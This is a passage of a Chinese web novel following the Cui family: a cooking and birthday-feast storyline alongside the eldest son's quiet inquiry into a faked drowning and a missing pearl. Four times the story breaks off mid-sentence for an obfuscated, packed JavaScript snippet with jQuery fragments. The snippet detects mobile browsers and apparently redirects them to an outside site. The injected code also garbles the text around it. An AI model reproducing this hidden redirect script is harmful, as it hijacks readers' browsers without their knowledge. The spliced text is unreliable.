崔大郎实在疲倦,也就不再客套。
“大郎怎么趁夜步行,若天色将晚,该去车马铺租匹马呀。”
柳云海十分健谈,倦到不想说话的崔大郎勉强开口:“是我疏忽了。”
这自然是随口的托词,租一匹普通马,一日夜要三十文钱,他舍不得。穷人家一厘一文都要精打细算,出身优渥的柳云海不能体会。
“听老太太说你在巡检司任职。”柳云海漫不经心的开口。
劫后余生的感觉一直萦绕心头,崔大郎神思有些恍惚,轻轻嗯声。
“在下有一不情之请,望大郎施以援手。”柳云海说着声音一顿,“大郎想必还未用暮食吧?不如这样,去我家随意用些,饭桌上我慢慢跟你说。”
崔大郎蓦地清醒了。
入职第一日,上官便耳提面命,说巡检司掌握缉匪捕盗一应事宜,干涉重大,切不可对外透露衙门里的一切讯息,崔大郎为人沉稳老实,对上官的要求素来遵循,因此入职近五年以来,从未犯戒。
柳云海似乎感应到了崔大郎的戒备,尴尬的笑了几声:“是桩小事,等下慢慢讲给大郎听。”
崔大郎身心俱疲,却不想立即回家,点头应下。
待回到柳家,柳云海立即遣人去崔家报信,而这会子,见崔大郎久久不归,崔老太太和崔三娘点了灯笼,正准备去崔家二爷爷家喊帮手,要去半道接应崔大郎。
“大哥去柳家吃酒去了。”
怕嫂子忧心,崔三娘立刻去了西厢。
桂氏抱着小安安,终于放下心来。
-
崔大郎之所以耽搁这么晚,是发现了一件蹊跷事。
前些日子河沟里发现了一具浮尸,京城人口众多,河道里偶尔见到尸首不足为奇,仵作到场后检看一番,确定那人是酒后失足坠河而亡。
不涉及刑案,那么尸首便收入义庄,巡检司张贴布告寻找亲人。
一直过了半个月,不见亲人前来认领,尸首便葬到了义庄后的乱坟岗。
可下葬没几日,死者的亲人就寻上门来。原来那人是外地的商人,没有按期归家亲人才进京寻找,一来二去耽误了时间,直到前几日才寻对了路。
衣着相貌都对,唯一不对的是,少了荷包里的一枚珍珠。
据说那珠子有话梅核大小,色泽亮丽,价值百金,死者正是为卖珍珠进京。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480624|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
珍珠不翼而飞,谁也不知去向,走访一番无果后,此案便由此终结。
再说今日抵达书务部后,崔大郎发现老朱没在,问过隔壁值房的人才知他病了,同时桌案上堆满了急需归档的公文,崔大郎便紧急处理起来。
也就是这时,他再一次看到了那份有关落水而亡,死者疑似遗失珍珠的卷宗。
卷宗应该是有人调看过,放在案上,崔大郎很随意的翻看起来。
突然,他像被针刺了一下,盯住仵作所书的验尸单目不转睛。
他记性不错,当日这验尸单明明新来的仵作姚希所制,可卷宗里的这份却是老仵作宋望的名字,按照条律,仵作的初始验尸单不可更改替换,是谁换了卷宗里的验尸单?
沉吟了片刻,崔大郎决定去寻老朱问清楚,等他按照打听到的地址叩响朱家大门,望着朱家二进的精致小院落,崔大郎惊讶的说不出话。
老朱出身低微,无祖产无副业,老妻也是普通妇人,儿女也是小人物,凭每月一贯多的俸银,一辈子也置不起这样精美的院子。
望着笑容憨厚的老朱,崔大郎欲言又止,最终忍住,什么都没问。
他离开朱家,转头去寻新仵作姚希,姚希回忆起那日,自惭道:“我那日验错了,错列了一些疑点,宋师傅帮我重新整理了一份拿去归档。”
有疑点?崔大郎心里猛一咯噔。
当日匆匆一瞥,只记得姚希的名,不曾留意内容,崔大郎忙追问:“什么疑点?”
正想得出神,柳云海用酒杯轻叩桌面:“大郎,大郎,想什么呢?”
崔大郎猝然回神,笑了笑:“没事。”
抿了一口酒后,继续缓声道,“柳老爷对我有恩,且你的事不涉及机密,我当然要帮。”
“多谢,多谢。”
-
又是一日清晨,酱香饼鲜香的滋味飘洒在朝露中。
崔三娘将饼齐整的码放在篮子里,准备去渡口和吴三婆婆交接。
“喝口粥暖暖胃再去。”
崔老太太飞快的递过一碗已放温的杂菜粥,崔家姊妹忙分着喝完,这才推开院门,预备出发。
崔三娘眼尖,发现有个鬼祟的影子一直在自家篱笆院墙外探头探脑:“谁呀?”
“是我。”一张白皙俊秀的面孔从墙后探出来,原来是柳木森。
看来他的腿已经好了。
“你来做什么?”崔五娘瞪着水汪汪的眼睛,“还有,干嘛不敲门非爬墙呀,多危险。”
柳木森的脸慢慢涨红,赶紧从墙上溜下,从大门走近院中:“听说你们要去渡口,我想一起去。”
进山摔了腿后,柳云海很快查清是哪几家孩子带柳木森上的山,后来那几家人不同程度的遇见了麻烦事,柳家的恶气出了,本村人也更不愿同柳家往来,村里的孩子看见柳木森就会跑开。
哥哥柳木林也回了书院,没有伙伴的柳木森感觉自己无聊到要发霉。
真是穷有穷的恼,富有富的闲,崔三娘无奈一笑:“好吧。”
谁叫他哥给自家免费摘了上百斤的野山楂呢。
19. 第 19 章
秋风清爽,行走在山间小径上,偶听阵阵鸟鸣,沿途还有五彩斑斓的野花,崔三娘心情很好,带着小跟班们没一会就到了渡口。
吴三婆婆早在水饮摊前等着了。
一手交钱一手交货,双方合作愉快。
崔三娘手握沉甸甸的荷包,扭头问柳木森:“我们还要去集上,你去不?”
那集逢一五开市,今日并不是赶集的日子,人不多,可今日崔老太太过寿,崔三娘想去碰碰运气,买些食材回来置办席面。
柳木森想都没想:“去,当然去!”
崔三娘抿唇一笑:“那走吧。”
到了集市上,一切如旧,荒僻的街巷,灰蒙蒙的空地,一群小鸡叽叽叫着在路边啄食。
崔三娘环视一圈,还好,三三两两的行人中,夹杂着几个叫卖货物的人,她走近去看,多是农家土货,不过有位货郎的货物很齐全,竟有孜然、桂皮、香叶等香料,价钱很贵,但想着将来做吃食需要,崔三娘咬牙买了些。
接着去杂货铺,那位老板仍鼻孔看人,崔三娘哼哼两声,选了些香糖果子、砂糖,还有香油酱醋等调味料。
结账之时,见崔三娘紧绷着脸一副要杀价的样子,店家先撑不住服了软:“你是熟客了,给你熟人价。”
原来他还记得崔三娘。
崔三娘并不想结仇,便顺着话儿一笑:“多谢老板。”
不过,在店家扒拉算盘珠子算数时,她仍认真瞧看着,确定店家没说假话,样样都是良心价后,才放心的付了账。
望着一群小孩离开的背影,店家不住摇头:“这女娃小小年纪就如此精明,长大还了得哟。”
“啊啾。”
大路边,崔三娘忽然打了个喷嚏,她吸了吸鼻:“走,去买肉。”
无肉不成席,今天是老太太六十大寿,崔三娘想置办得体面些,当然了,自家也好跟着打打牙祭。
时辰还早,肉摊上的肉又新鲜又多,崔三娘挑选一番,要了一斤猪前腿肉,一斤猪肝,还要了一节猪大肠。
一番买买买,荷包空了,篮子变得沉甸甸。
“卖蒸饼,好吃的蒸饼。”
这时不远处走来一位挑担子卖饼的货郎。
蒸饼就是馒头,崔三娘咕嘟吞着口水,早上只喝了几口粥,走了近一时辰的路,肚子早饿了。
不止是她,众人都饿,尤其是卖馒头的货郎经过身边时,一阵阵清甜的面香随风飘来,肚肠简直要一阵阵痉挛,可就是这么凑巧,崔三娘的荷包空空荡荡,一文钱也无。
“等等,我要买饼。”
柳木森突然出声喊住那货郎。
“你的蒸饼怎么卖?”
货郎停下,掀开挑子的竹盖,笑眯眯答:“纯白面的五文两个,夹了红糖枣泥的十文三个,我家离此不远,蒸饼才出笼,还热乎着。”
这话不假,崔三娘低头看去,挑子里的馒头白白胖胖,有壮汉的拳头大,夹红糖枣泥的更像后世的花卷,白面挟裹着红色的馅料,诱人的很。
“各样来十个!”柳木森十分豪气,“我请客。”
柳木森的零花钱很丰厚,且此刻饥肠辘辘饿得慌,崔三娘便没推辞,只道:“这也太多了,我们吃不完。”
两刻钟后,崔三娘决定收回刚才的话。
他们带着一兜子的馒头,一边往家走一边吃,那馒头蒸的又软又香,大口大口虽然有点噎人,但真的爽,浓郁的面香萦绕在唇齿之间,令人上瘾。
崔三娘先吃了个纯白面的,又吃了个夹红糖枣泥的,砸吧砸吧嘴,又吃了个白面的,等她反应过来,又一个夹馅的下了肚。
她吃了整整四个!而且可怕的是,她觉得自己还能再吃一个。
至于柳木森,他吃了整整八个。
崔四娘和崔五娘一人两个,二十个馒头只剩了四个。
半大小子吃死老子,此言不虚啊。
路过一户有水井的人家,崔三娘带着小跟班们去讨了水喝,柳木森赠了一个馒头给主人家的小孙女。
吃饱喝饱,他们一口气走回了村。
这时巳时过半,崔三娘得赶紧去置备菜肴了。
柳木森眼巴巴瞧着她们,竟还不想离开,才吃了人家的馒头,崔三娘不好赶他走:“要不,你中午到我家吃吧。”
“好呀好呀。”柳木森急忙点头,就等这话了。
得嘞,看来柳木森是属牛皮糖的。
按黄石村的规矩,各色宴席都在申时左右,即日头西斜,将落而未落之时开始,这样即不耽误白天做活儿,客人吃完宴席也不必赶夜路。
因此,今日这顿午饭便有些凑合,一锅杂粮粥配些酱菜就可以了。
但小客人柳木森是初次在崔家留饭,崔三娘不能慢待小客人,给煎了个香喷喷的荷包蛋加餐,外焦里嫩的煎蛋诱人的紧,崔三娘心想,这也不能厚此薄彼呀,于是咬牙又打了几个鸡蛋在锅里,做到人人都有,一人一个。
“崔三姐姐,你煎的鸡蛋真香。”
柳木森大口吃蛋大口喝粥,嘴甜得不得了。
崔老太太被逗笑了:“好吃吧?三娘手艺没得说,晚上家里办席,要不暮食也在咱家吃?”
话都说完了,崔老太太愣了下,和崔三娘对视一眼,后悔自己嘴快。
“好啊好啊。”
柳木森笑着飞快的答应了。
这孩子,真是一点也不把自己当外人,崔三娘在心里无奈地摇头。
-
匆匆吃过饭,崔家开始了做饭模式。
那一斤猪前腿肉,崔三娘决定剁成馅炸肉丸子,猪肝过油炸过,做一道辣爆猪肝,至于猪大肠,当然要和酸菜爆炒,昨天炸的小鱼直接装盘,剩下的是些素菜,炒萝卜丝,扮茄子,蒸南瓜,菜地里有什么煮什么。
大致规划好菜单后,崔三娘领着一群小跟班们进了灶间。
今日崔老太太过寿,崔三娘不愿意叫寿星动手,硬是将老太太留在堂屋休息,崔老太太操劳一辈子,还没享过什么清闲,笑眯眯的喝着一碗温开水:“也好,孩子们大了,有孝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480625|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心,我就享享福。”
林氏得去地里,现在是农作物最后长肉的阶段,要时时去盯看着,有杂草拔杂草,缺水了要赶紧引水灌溉。
这会儿柳木森起了大作用,虽只有十来岁,但男娃儿力气大,又正是好动的年纪,担水劈柴均不在话下。
崔四娘帮着洗菜备菜,崔五娘烧火,崔家兴迈着小腿东跑跑西看看,崔三娘握着锅铲,开始做菜。
前腿肉切成丝,再剁成馅,馅里加葱姜水去腥,打入鸡蛋增鲜,最后撒上盐往一个方向搅拌上劲儿,最后做成一个个圆圆的小团子,下油锅刺啦一声,过油定型。
趁着油还热,将焯过水的猪肝倒进去,炸到微微发焦捞出。
“尝尝。”崔三娘给家里人都发了一块炸猪肝,自己也送了一块入口,“好不好吃?”
这油炸过的猪肝外表略有些焦黑,外壳有一点点硬,但里面很柔软,猪肝特有的沙糯鲜香和外壳的焦脆感融合在一块,越嚼越有滋味。
崔家诸人还有柳木森尝过后,不约而同的竖起大拇指:“太好吃了。”
崔三娘笑笑,原身大病初愈,多吃猪肝可以补血养身呢。
她有条不紊的处理着各色菜蔬,时不时掀开砂锅的盖子往里看。砂锅里煲着一锅鸡汤,那只鸡刚好养了两年,又肥又大,崔三娘用筷子戳了戳鸡腿,发现竹筷很轻松的穿透了鸡肉:“鸡汤快好啦。”
日头挂到了树梢尾,来给崔老太太过寿的客人也陆续来到。
六十岁是大寿,崔家没有大办,置备席面是笔大开支,自家近亲庆贺一番就成。
客人们在堂屋里落座,除了二爷爷一家,还有崔老太太的娘家哥嫂,加上崔家自己人,拢共二十多人,待会要分两桌开筵席。
“呀,三娘都长这么高了。”
说话的是崔老太太的娘家二嫂文氏,文氏和崔老太太年纪差不多大,独子已经不在了,留下一个孙子二十出头,还未曾成婚。
原身和崔老太太娘家亲戚交往不多,崔三娘在记忆中翻捡了一遍,只得出这些信息,她冲文氏一笑:“二舅奶奶好,您坐着吃会茶,菜等会儿就好了。”
文氏笑得合不拢嘴:“好好,你啥时候这么会做菜的呀,哎呀,我都不知道。”
参加寿宴的亲戚都来了,女眷除了文氏,还有二爷爷家的两位堂婶子,崔老太太娘家大嫂和表婶,虽然是来做客,但这几人都蹭到灶间来,你帮着添把柴,她帮着摘捆葱,都在找活干。
唯独这位二舅奶奶,握着一把瓜子,扯着嗓子和崔三娘找话说。
崔三娘倒不介意她不帮忙,本来客人就不需要动手做事的,但灶间真的很拥挤:“您去堂屋坐吧,这里油盐大还有火星子,可别把您的新袄子弄脏了。”
“哦哦不碍事。”说起新袄子,文氏眉飞色舞起来,“你不知道,这是你二牛表哥给我扯布做的,这都是他今年给我做的第二身新衣裳了,这二牛啊,是个顶孝顺的好孩子。”
接着,文氏吹嘘她的宝贝孙儿二牛,足足有半刻钟。
20. 第 20 章
从二牛虽然胖还又些矮,但人老实又善良,而且运气很好,在镇上的大酒楼做帮厨,到二牛一个月有一贯的薪水银,再到大酒楼包吃住,他们家一月可以存不少银子。
接着话风一转,到她家地里今年庄稼长得好,必定大丰收,再抒发了一下家里样样不缺,唯独缺个孙媳妇的遗憾。
话说到这里,饶是崔三娘再心不在焉,敷衍的嗯嗯嗯,也突然明白了她的意思。
不是吧?原身才十三岁,哪怕在这个时代,也绝不是适合议亲的年龄。
这还是个人吗?
崔三娘握着锅铲,真想一铲子打在这位为老不尊的长辈的头上。
“咣当!”
正在洗萝卜菜的大舅奶奶突然把盆一扔:“文老二,你嘚啵啥呢?闲着就来干活。”说着把眉一拧,半是发怒半是玩笑的喝道,“可把话给你挑明了,今儿干活的有得吃,不干活的只有收拾洗碗的份!”
“哪有这个道理,来者是客,我们都是客,得等着吃现成的!”文氏吐出瓜子壳,往大舅奶奶的方向挪了几步,“大嫂呀大嫂,你都有两位孙媳妇了,怎么还一天到晚的辛苦做事,你这辈子,和咱小姑子一样,半点福气都没享到唷。”
大舅奶奶翻个白眼:“放屁,谁说我没享福,我都有两个重孙子了,崔家也有家兴和安安,倒是你,天天唠闲嗑,家里一根苗都没有,你还不急?”
有后无后,有孙无孙,这是老一辈比拼打嘴仗的重磅筹码,文氏霎时哑火,灰溜溜走了。
“真有意思。”大舅奶奶对着她背影啐了一口。
崔三娘笑着向大舅奶奶投去一个感激的眼神:“大舅奶奶,饭菜置办得差不多了,你们也去前头坐着吧。”
大舅奶奶点点头,用水洗了把手,一边甩水一边说:“少和那老家伙说话,那是个老不正经的玩意。”
论起来,这位大舅奶奶比文氏还大五岁,要说老,她才更老,但她居然称别人为“老东西”。
崔三娘忍俊不禁:“好,我知道了。”
-
另外一边,一早又去城里的崔大郎骑着马回来了,手里提了一只卤鸭。
不一会,听说柳木森在崔家留饭,且今日是崔老太太寿辰,柳家仆人送了几样点心来。
崔三娘摆了盘,将这临时加的菜点也摆上了桌。
一桌在堂屋里,主要是男客,另外一桌摆在院子里,主要是孩子和女眷,两桌菜肴是一样的,当中一大罐清炖的土鸡汤,汤里烫了肉丸,边上是炸小鱼、卤鸭、爆炒猪肝、酸炒猪大肠等荤菜,除了时蔬,还有糖块果糕等点心,零零总总,数下来有十多样。
这已是很体面很丰盛了。
都是家人亲戚,崔老太太笑呵呵对大家道:“吃吃吃,都吃好喝好。”
都是肚里缺油水的人,便谁也没客气,大大方方吃起来。
崔家几个小孩,包括柳木森,因为一直在灶间帮忙,做好一个菜就尝几口,现在都吃得半饱了,不过一堆人吃饭就是开胃,又吃了不少,一个个吃得肚皮溜圆。
带着炊烟味的晚风吹过时,客人们陆续的告辞。
最先走的是二爷爷一家,其次是柳木森,接着大舅奶奶一家准备走了,不过这当二舅奶奶的文氏还磨磨蹭蹭。
崔三娘佯装没看见,到灶间安置碗筷。
大舅奶奶家的表婶子们帮忙把碗洗了,还用热水烫了一遍,崔三娘只要将碗归置到碗柜中。
院子里,崔老太太的大嫂罗氏一家走到了院门口,临走前,罗氏的大儿媳金氏冲文氏喊:“二叔,二婶子,跟我们一块儿走呗,路上有伴。”
文氏低头瞧着院里的土疙瘩:“我们歇一晚再回。”
罗氏立即高声接话:“你开啥玩笑,崔家有空屋给你俩住不?得啦,人家里事不少呢,别给人添麻烦,咱妹子面皮薄不好说你们,我不怕得罪人,我说!走走走,跟我们一块走。”
话说到这份上,文氏有些脸热,但她一心想留,要和崔老太太说说儿女小辈的婚姻大事,说白了,是见崔三娘出落的有模样,又有好手艺,看上了她,想说来给孙子做媳妇。
崔老太太还不知道二嫂的小心思,但她并不想哥嫂在家住,大嫂说的都是实在话,家里窄巴事情多,实在没太多功夫待客:“大哥大嫂,二哥二嫂,等忙过这段时间,我领孩子们去看你们。”
罗氏连连点头:“好,今年我家杀猪,到时候给你们递信,来我家吃杀猪菜。”
说着过来搀文氏的胳膊:“再不走天黑了。”
“那就走吧。”文氏的丈夫,崔老太太的二哥受不了这尴尬的氛围,僵笑着大跨步先出了院门。
丈夫都走了,文氏不好再赖着不走,只能白妯娌一眼,跟着出了院。
送走一屋子客人,喧嚣了一整日的崔家小院霎时变得安静。
崔老太太虽没下厨,忙前忙后的待客仍极耗体力:“今日早些歇息吧,这老胳膊老腿的,不中用咯。”
林氏提醒:“娘,礼金还没记呢。”
客人上门,自不会空手来,都带了礼物送了礼金,其中二爷爷一家是八十文礼金加一大口袋菜干,娘家这边,罗氏包了一百文礼金加一篮子鸡蛋,文氏俩口子给得最少,只有三十六文礼金,外加一袋酸不溜秋的野果子。
崔大郎取出崔家记录人情的簿册,将这些礼金礼物如数记下,以备今后还礼。
-
“哥,你今日进城干啥去了?”
今夜家人睡得早,崔三娘做了一天的菜,但也许是吃得太好,肚子有些涨,就没睡,借着月光在院里溜达,一会看看鸡鸭,一会到堂屋看看晾晒的山楂干,一会又思考要不要做些新吃食。
正消磨着时间,西厢的门嘎吱一声推开,崔大郎出来了。
起先崔三娘以为他是起夜如厕,但崔大郎在窄廊下踱着步子,显然也不想睡,正无聊的崔三娘便蹭过去同他说话。
崔大郎淡笑着:“还是不为衙门里的事。”
崔三娘一听就气哼哼的:“大哥休沐十日,是朝廷的规定,凭啥衙门里还给
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480626|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你派事做,这不合规矩。”
崔大郎想解释,张了张嘴,却什么都说不出,自上次一时气闷,将自己在衙门中的困境说给崔三娘听后,崔大郎一直有点后悔,但这么多天,崔三娘一直保密,没有将他们谈话的内容透露出去,崔大郎又渐渐心安。
烦闷之事,自己独自煎熬,和有人倾听,是不一样的,虽然三娘并不能做什么。
“三娘,如果你遇见一件很棘手很危险,而且很急迫的事,你会怎么做?”
崔三娘歪着头想了想:“这事听上去很复杂呀。”
崔大郎叹口气:“是挺复杂的。”
今日他进城,一是为了完成柳云海的请求,柳云海经营的商铺从北方运来一批皮货,进城时被税关扣押了,柳云海想请崔大郎翻找一下档案,皮货进城,按律到底该抽多少税,有无暗地里的规矩。
崔大郎曾有一位王姓同窗,如今就在税埠当值,崔大郎便利用这层关系,替柳云海探到了消息。
进城的第二目的,还是为昨日意外发现的那些蹊跷事,崔大郎给这事取了个名,叫珍珠案。
昨天,他拉着新仵作姚希到一处茶摊坐下,问了当日验尸的种种细节,姚希说落水之人一般会奋力挣扎,手指间与喉咙鼻孔间会灌入水与泥沙,但当日那具尸体,鼻腔和口腔却相对干净,只有少量砂砾。
而且,后脖颈处有一处朦胧的淤青。
当时下着大雨,现场泥泞不堪,姚希只来得及匆匆一看,简略的写了文档签字之后,尸体被抬走,以便进一步细细验看。
“后来,师傅说我验错了,加上一村庄里有耕牛被毒死的案子,我得去乡下查耕牛的死状,那桩落水案便由师傅接手。”姚希蹙眉,“事情已盖棺定论,尸首也已被亲人认领,崔大哥,您问这些,要做什么?”
姚希应该隐约觉出了不对,话音有些颤抖:“我……这些只是我一家之言,我才入行一年,学艺不精。”
崔大郎闻弦知雅意,忙表示他们之间的谈话,不会透露给第二人,但昨晚他一夜也没睡,今日进城处理完柳云海嘱托的事情后,便去寻找一位曾做了几十载仵作,如今已闲退的老友询问。
他掐头去尾,将事情模模糊糊说了一遭,主要想讨论姚希提及的疑点。
老友捋着白胡子睨了崔大郎一眼,吐出两个字:“谋杀。”
崔大郎霎时脊背生寒。
老友在旁悠哉的喝茶:“我做了几十年仵作,经历过无数命案,凶手先杀人,后伪造成溺水、火灾等意外的,不胜枚举,这是很常见的掩盖手段,新手仵作或许很容易被蒙蔽,但像咱们这样的老手,呵呵,简直一目了然嘛。”
说着望向崔大郎:“你问这个做什么?想改学仵作了?你年纪不小了,恐怕不好学哟。”
崔大郎僵硬的笑着,没有回应老友的调侃。
他深深的陷入疑惑,如果珍珠案中的落水者是死于谋杀,那么,是谁在掩盖真相?
老仵作?老朱?还是衙门中级别更高的长官?目的又是什么?
21. 第 21 章
崔三娘坐在院墙下的木凳上,今夜月光特别亮,照得院里明晃晃,也将崔大郎看似平静,却暗藏焦虑的面庞照得一清二楚。
大哥心思很重,崔三娘马上就感受到了。
她望着漆黑苍穹中的圆月和星子,想了想:“再复杂的事,总有个线头吧?寻着线头,一步步去做,将复杂的事简单化,简单化了的事认真做,总能解决。”
总之,人不能还未行动,就被想象压死。
崔大郎一怔,旋即往掌心狠砸一拳:“对啊,三娘,你想得透彻。”
珍珠案牵涉再多,可疑人再多,他一个一个排查过去不就成了?里头若真涉及凶案,凶手只要动手,总会留下蛛丝马迹。
崔三娘轻轻一笑:“也是当局者迷。”
崔大郎吐出一口浊气:“深陷其中,难免思前想后,倒将最简单的道理也忘记了。”
圆月照离人,清朗如水的月色下,崔三娘和崔大郎不约而同想起离家从军的崔二郎,两人讨论了一会,仍猜不到崔二郎究竟投了哪一支军。
“听说北边、南边都不太平,我既盼望二哥实现保家卫国,上阵杀敌的愿望,又怕沙场刀剑无眼。”原身和崔二郎关系极要好,说这话时,崔三娘感到心腔子里一颗心微微悸动,这大约就是血脉情亲的力量吧。
“我一直托人在打听,等消息吧。”崔大郎很无奈,“他自小就是个不安分的。”
崔三娘望着月亮,祈祷般说道:“二哥吉人天相,定会平安归来。”
-
这些天,崔家院子里,房顶上,屋檐下,只要能通风晾晒的地方,统统晒满了野山楂。
幸好最近日头足,山楂暴晒了几日,终于干燥的没了水分,崔三娘寻了个大陶缸,将山楂干全部放进去,然后和林氏一起,挪到了崔二郎屋里存放。
崔二郎久不在家,他那屋已成了库房。
瞅瞅天色,时辰还早,崔三娘呼唤一声,带上小跟班们出了家门。
想去地里再撅些野蒜野芹。
“哈哈,狗屎。”
才走到村里一处小山坡下,就听见一串孩童嬉戏笑闹的声音。
“脏兮兮,柳木森你好脏,我要告诉所有人,你在玩狗屎!我还要让所有人,都不和你玩!”
崔三娘敏锐的听见了柳木森三个字,更被这话语中赤裸裸的嘲笑刺了一下,这不是言语霸凌么?想当年,她跟随工作调动的父母转学去新学校,也受到过霸凌,那种在熙攘人群中被孤立的滋味,至今刻骨难忘。
“是谁在说话?”
崔三娘大跨步绕过山坡,出言问道。
说话的孩童后退了半步,显然被突然出现的崔家姊妹几个吓了一跳,不过这孩子不是独身一人,他身边还有好几个伙伴呢,一群男孩将坐在小青石上和泥巴、捏泥人的柳木森围住。
“崔家几个,你们怎么敢和柳家人来往。”为首的孩童叫金大宝,论起来,和崔家还沾亲带故,他是村里的孩子王,他爹娘是村里的刺头,家风剽悍,金家在黄石村恨不得横着走。
金大宝瞪了崔三娘一眼:“昨天你家请客,我瞧见柳木森也坐在里面,还吃了好几个肉丸子!”
肉丸子不给他吃,凭什么给柳木森吃?!
金大宝从昨日恼恨到今天:“我要告诉我爹娘,告诉其他人家,你们崔家吃里扒外,不是好东西!”
莫名被输出一通的崔三娘很无语,虽然一早就料到和柳家接触会引起村人的反感,也做好了心理准备,但这小孩子竟然骂到她面前?凭什么?
“哼,原来你馋了呀。”崔三娘抱着手臂,“你不就是想吃肉吗?回家要去,别在我跟前乱叫。”
说着掏出本来准备在挖野蒜时补充体力的豌豆糕,这糕些点是昨日柳家送的寿礼,虽然已放了一天,但豌豆糕香气不减,绿盈盈如冻翡翠一般,瞬间吸引了金大宝的目光。
他去过城里,这种又好看又香甜的糕点,只有城里的店铺才有卖!斯哈,味道一定很好!
崔三娘托着豌豆糕:“想吃吗?”
金大宝眼睛放光,满脸馋相:“想!”
崔三娘勾起一侧唇角哼笑,随即咬下一大口糕,嚼得满齿生香的同时,昂头道:“不给!”
“噗!”
“哈哈哈!逗死了,金大宝你个好吃鬼。”
站在一边的崔家姊妹、柳木森,以及金大宝身边的同伴没想到剧情会这样发展,忍不住大笑。
一片哄笑声中,金大宝脸红如血,眼睛瞪得溜圆,嘴一瘪,竟吧嗒吧嗒委屈的哭了。
“啧……”崔三娘睨他一眼,又咬一口,火上浇油道,“这糕真好吃,可惜有人吃不到喔。”
金大宝再也忍不住,大哭着跑走了。
他一走,他的小伙伴也呼啦一下散去。
成功弄哭一个熊孩子的崔三娘心情美丽,将剩下的糕分给两个妹妹后,蹲下去看柳木森的作品:“你捏的是什么?”
那些小泥人都是五短身材,圆胳膊圆脑袋,崔三娘用手指戳了戳,还黏糊糊的。
“哦,这个是三姐姐你呀。”柳木森的眼睛霎时亮起,“是不是很像?”
崔三娘急忙撤回喉咙间即将吐出的“好丑”二字,用指头将那小泥人戳远了一点:“还行吧。”
柳木森依旧很兴奋:“崔三姐姐,等我把泥人烧好,送给你!”
听到这,崔三娘愣住:“烧?”
“我发现这里的土在火里烧过会变硬,有点像陶罐,不过没那么坚固。”柳木森笑着露出两排洁白的牙齿,“本来我想捏几个陶罐玩玩的,但总不成功,只好捏些小泥人了。”
崔三娘心思电转,脱口道:“捏泥人没意思,小孩子的把戏,柳木森,你想不想挑战大人才能做的东西?”
柳木森皱鼻:“什么东西?”
“泥窑,也叫烤炉,有半人高,做好了有大用处。”崔三娘声音激动。
“好啊好啊。”柳木森瞬间来了兴致。
早在几万年前,远古人类就会使用窑烧制各类陶器了,做土窑并不算很难,但普通的农家想要做一个完
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480627|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
美好用的泥窑,仍不是一件简单的事,至少穿来这么久,崔三娘还没在别家见过。
泥窑可以蓄热,温度高达几百度,做饮食很便当,崔三娘早几天就想做一个了,可惜没见到合适的黏土。
不曾想柳暗花明,竟在柳木森这有了发现。
柳木森比划了一下:“这山坡后的土都可以,和了水黏糊糊,滑溜溜,还不会断。”
只有黏土才有这么好的韧劲,崔三娘笑眯眯的:“木森,我回家取工具,你和我们一起掘土,怎么样?”
柳木森最怕一个闲字,自无不好。
崔三娘也顾不上撅野蒜了,带着姊妹们匆匆回家,带了扁担和箩筐、锄头来。
几人各自分工,你掘土,她铲土,不大一会儿功夫,就整理出一大筐的黏土块。
这时有人“喂”了一声,崔三娘循声望去,看见了在山坡上扯青草的崔云南。
崔云南是二爷爷家的孙子,今年他上城里寻活,给人干了三个月,结果主家发不出薪水银,最后给了一头母羊抵债。
如今二爷爷家养了羊,崔云南天天上山去扯草。
“三娘,你们在鼓捣什么呢?”崔云南扯着嗓子喊。
原身与这位堂兄还算熟稔,崔三娘挥手答:“抬土疙瘩。”
满满一箩筐的黏土,死沉死沉,崔三娘和柳木森外加两位小姑娘,抬起来十分吃力。
“我来吧。”崔云南从山坡上奔下来,他比崔三娘长三岁,已经十六了,算得上是壮劳力,有崔云南搭手,一筐黏土很快就抬回了崔家院中。
崔云南已经风闻最近崔家在捣鼓吃食,见天往渡口跑,还有村人见他们在集上售卖。
他皱眉盯着那些土块:“这些有什么用?也是做吃食的吗?”
